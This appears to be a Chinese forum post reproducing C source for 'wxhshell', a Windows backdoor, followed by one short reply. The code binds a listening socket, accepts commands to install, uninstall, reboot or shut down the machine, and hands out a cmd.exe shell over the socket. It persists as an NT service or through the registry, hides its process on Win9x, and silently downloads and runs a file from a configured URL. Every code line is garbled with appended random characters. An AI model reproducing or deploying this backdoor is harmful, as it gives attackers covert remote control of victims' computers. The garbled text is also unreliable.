  if(DownloadFile(cmd,wsh)) wNQhg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2e| m3  
  else X3Yi|dyn T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'wd&O03&  
  } +Vw]DLWR  
  else { ck\TTNA  
`g^bQ x  
    switch(cmd[0]) { -APbN(Vi  
  :O/QgGZN$  
  // 帮助 R}T\<6Y  
  case '?': { |$G|M=*LN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =l+~}/7'Z  
    break; 'v0(ki#  
  } 7 (pl HW|  
  // 安装 i(an]%'v  
  case 'i': { QUK v :;  
    if(Install()) }2.0e5[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9six]T  
    else J|.n bSE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qj1Fj  
    break; 1dl(`=^X  
    } aU?HIIA  
  // 卸载 &\L\n}i-  
  case 'r': { yP0XA=,Y  
    if(Uninstall()) 0+3{fD/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6)[gF 1  
    else u}eLf'^ZCe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #j4jZBOTM  
    break; G^2%F5@  
    } ^ RIWW0  
  // 显示 wxhshell 所在路径 S:{`eDk\A_  
  case 'p': { kj/v$m  
    char svExeFile[MAX_PATH]; z#Db~  
    strcpy(svExeFile,"\n\r"); |"i"8~/@<  
      strcat(svExeFile,ExeFile); 0@/C5 v  
        send(wsh,svExeFile,strlen(svExeFile),0); rq![a};~  
    break; 82KWe=  
    } /4{IxQk  
  // 重启 vu|-}v?:  
  case 'b': { ^k5#{?I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fx*Q,}t  
    if(Boot(REBOOT)) O\q-Ai  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tu&W7aoX5  
    else { ufvjW]   
    closesocket(wsh); !eA6Ejf  
    ExitThread(0); ?L+|b5RS  
    }  4 `]  
    break; \ fSo9$  
    } tNC ;CP#R+  
  // 关机 ^7iP!-w/  
  case 'd': { bBgyLyg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {4YD_$4W  
    if(Boot(SHUTDOWN)) e {805^X}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3R:^ff\  
    else { DyM<aT  
    closesocket(wsh); +Y"HbNz  
    ExitThread(0); ra}t#Xt`  
    } Q=h37]U+  
    break; Rgb&EnVW  
    } 6ac_AsFK  
  // 获取shell {ug*  
  case 's': { -7(,*1Tk  
    CmdShell(wsh); d:JP935  
    closesocket(wsh); wj 15Og?  
    ExitThread(0); i#:M2&twE  
    break; }S 6h1X  
  } PasVfC@  
  // 退出 C"R}_C|r)*  
  case 'x': { &x)nK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >9,:i)m_  
    CloseIt(wsh); K8{ef  
    break; ui<Mnm_T;d  
    } y1#*c$ O  
  // 离开 ~ugH2jiB  
  case 'q': { Y lhKP;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bA\(oD+:  
    closesocket(wsh); xwa@h}\#  
    WSACleanup(); W<T Ui51Y  
    exit(1); (kL(:P/  
    break; rAh|r}R  
        } P#-p* 4  
  } _@! yj  
  } />2zKF?  
to(lE2`.da  
  // 提示信息 q+{yv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [E)&dl_k  
}  V0!kvIv  
  } `Ln1g@  
6 jU ?~  
  return; 8f>v[SQ"  
} iM M s3  
?\_vqW  
// shell模块句柄 lY[\eQ 1:  
int CmdShell(SOCKET sock) Qb8Z+7  
{ o]@'R<F(u  
STARTUPINFO si; ?G 'sb}.  
ZeroMemory(&si,sizeof(si)); 2?kVbF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D*t[5,~j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 58t~? 2E  
PROCESS_INFORMATION ProcessInfo; h(p c GE  
char cmdline[]="cmd"; O:Wd ,3_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p<c1$O*  
  return 0; @T] G5|\ok  
} S2:G#%EAa  
bKk7w#y  
// 自身启动模式 iz3Hoj  
int StartFromService(void) uLr-!T  
{ 8\rAx P}=  
typedef struct wowWq\euY  
{ ? kCo/sW  
  DWORD ExitStatus; &(h@]F!  
  DWORD PebBaseAddress; L~*nI d  
  DWORD AffinityMask; Q} |0  
  DWORD BasePriority; @?5pY^>DK  
  ULONG UniqueProcessId; @./ @"mR<  
  ULONG InheritedFromUniqueProcessId; *0Wkz'=U  
}   PROCESS_BASIC_INFORMATION; J3hhh(  
V$bq|r  
PROCNTQSIP NtQueryInformationProcess; u3\_![Jt?  
?f:ND1jU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J|C CTXT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3{M0iNc1  
.p%V]Ka  
  HANDLE             hProcess; B$MHn?  
  PROCESS_BASIC_INFORMATION pbi; UaBNoD  
8i Ew;I_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wcW7k(+0  
  if(NULL == hInst ) return 0; s){R/2O3F  
,qj M1xkL$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T;v^BVn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S e|h]+G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |8fdhqy_  
HG^~7oMf  
  if (!NtQueryInformationProcess) return 0; LBIEG_/m  
l $0w 9Z^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j43i:c;F  
  if(!hProcess) return 0; rh T!8dTk  
74a k|(!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; * yGlX[  
WnhH]WY  
  CloseHandle(hProcess); Rm Q>.?  
ge#P(Itz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k#G+<7c<  
if(hProcess==NULL) return 0; *~^%s +b  
5")BCA  
HMODULE hMod; d>wG6Z,|  
char procName[255]; :3D[~-/S  
unsigned long cbNeeded; cd] X5)$h  
uFL!* #A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @%!Gj{   
Y#FSU# a$<  
  CloseHandle(hProcess); z8 K#G%,:  
gB0Q0d3\G,  
if(strstr(procName,"services")) return 1; // 以服务启动 wrVR[v>E<  
%>t4ib_8  
  return 0; // 注册表启动 *_"lXcG.  
} orhze Oi\  
0oo_m6ie&  
// 主模块 ,irc=0M(  
int StartWxhshell(LPSTR lpCmdLine) 4"eeEs h  
{ hA+;eXy/  
  SOCKET wsl; M1I4Ot  
BOOL val=TRUE; tDtqTB}  
  int port=0; Qm4cuV-0{  
  struct sockaddr_in door; 5Zl7crA[  
}DQ[C&  
  if(wscfg.ws_autoins) Install(); 9`!#5i)VU8  
/Q'O]h0a  
port=atoi(lpCmdLine); le2 v"Y  
-l{ wB"  
if(port<=0) port=wscfg.ws_port; h([qq<Lzs  
\3whM6tK  
  WSADATA data; 0 gr#<(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2>.>q9J(  
l#a*w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pz-=Eq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #!4`t]E<  
  door.sin_family = AF_INET; i~tps  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]#dZLm_  
  door.sin_port = htons(port); q,]57s  
MT<3OKo?:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0p=  
closesocket(wsl); c}w[ T  
return 1; [yVcH3GcjI  
} 'h 7n}  
cyWDtq  
  if(listen(wsl,2) == INVALID_SOCKET) { kS_3 7-;  
closesocket(wsl); 3Z74&a$  
return 1; bj FND]p?w  
} $B`bsJ  
  Wxhshell(wsl); )T@+"Pw8t  
  WSACleanup(); \p\rPf Y{>  
dq3"L!0u  
return 0; aW b5w  
/_r{7Gq.  
} a2H_8iQ!  
Q]-r'pYr  
// 以NT服务方式启动 )==Qo/N:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j4h?"  
{ K\$z,}0  
DWORD   status = 0; )`zfDio-1V  
  DWORD   specificError = 0xfffffff; ||.Ve,<:  
;o.,vQF*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >u=nGeO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k_1o j[O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Jk:Qz5  
  serviceStatus.dwWin32ExitCode     = 0; 2_){4+,fu  
  serviceStatus.dwServiceSpecificExitCode = 0; 6/Z 8/PL  
  serviceStatus.dwCheckPoint       = 0; ,@t#)HV  
  serviceStatus.dwWaitHint       = 0; bfA9aT  
2^&5D,}0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zh_ P  
  if (hServiceStatusHandle==0) return; < !]7Gt  
AI2>{V  
status = GetLastError(); VM"*@T  
  if (status!=NO_ERROR) 7s1LK/R|u  
{ WI54xu1M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *JVJKqed  
    serviceStatus.dwCheckPoint       = 0; :#UN^"(m}  
    serviceStatus.dwWaitHint       = 0; q|e<b  
    serviceStatus.dwWin32ExitCode     = status; |R(rb-v  
    serviceStatus.dwServiceSpecificExitCode = specificError; r'u[>uY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8C2!Wwz`J8  
    return; VB{G% !}  
  }  Fr9_!f  
FBrJVaF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )F:UkS  
  serviceStatus.dwCheckPoint       = 0; !_h<w?)  
  serviceStatus.dwWaitHint       = 0; }Yp]A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =JB1]b{|  
} 1iE*-K%Q  
k!m9 l1x  
// 处理NT服务事件,比如:启动、停止 BU;E6s>P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) 2Hl\"F  
{ +K[H! fD  
switch(fdwControl) j(\jYH>   
{ SL>0_  
case SERVICE_CONTROL_STOP: O)G^VD s  
  serviceStatus.dwWin32ExitCode = 0; %:[Y/K-   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w~VqdB  
  serviceStatus.dwCheckPoint   = 0; oOK&+r7  
  serviceStatus.dwWaitHint     = 0; {NV=k%MTmi  
  { (1Ii86EP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !6d`e"\K  
  } z@J;sz  
  return; lF!Iu.MM 9  
case SERVICE_CONTROL_PAUSE: WhR'MkfL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ca8.8uHY\  
  break; pc<A ,?  
case SERVICE_CONTROL_CONTINUE: % ck/ Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q GDfX_  
  break; kM/;R)3t4/  
case SERVICE_CONTROL_INTERROGATE: ;923^*\:F{  
  break; >zB0+l  
}; I?i,21:5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CT#N9  
} ~UV$(5&-  
,Mw;kevw  
// 标准应用程序主函数 yS(tF`H[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OAtn.LU  
{ *|k/lI  
i fbO<  
// 获取操作系统版本 &(HIBF'O  
OsIsNt=GetOsVer(); q3R?8Mb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kc70HrG  
4f> s2I&pQ  
  // 从命令行安装 %q 7gl;'  
  if(strpbrk(lpCmdLine,"iI")) Install(); n+uDg  
h^"OC$  
  // 下载执行文件 bO?Us  
if(wscfg.ws_downexe) { C\p _  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XvspE}~y  
  WinExec(wscfg.ws_filenam,SW_HIDE); eLAhfG  
} ~eHu +pv  
~b.e9FhdA  
if(!OsIsNt) { S4BU!  
// 如果时win9x,隐藏进程并且设置为注册表启动 w@ =Uf7  
HideProc(); Og~3eL[1%C  
StartWxhshell(lpCmdLine); T)PH8 "  
} t@\op}Z-M  
else 4E DwZR>./  
  if(StartFromService()) Qcr-|?5L  
  // 以服务方式启动 lVQy {`Ns  
  StartServiceCtrlDispatcher(DispatchTable); }Ii5[nRN  
else 3F6=/  
  // 普通方式启动 C!}9[X!7@:  
  StartWxhshell(lpCmdLine); u|]`gsFZ\  
%t\ ~3pw=  
return 0; p8Wik<'^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八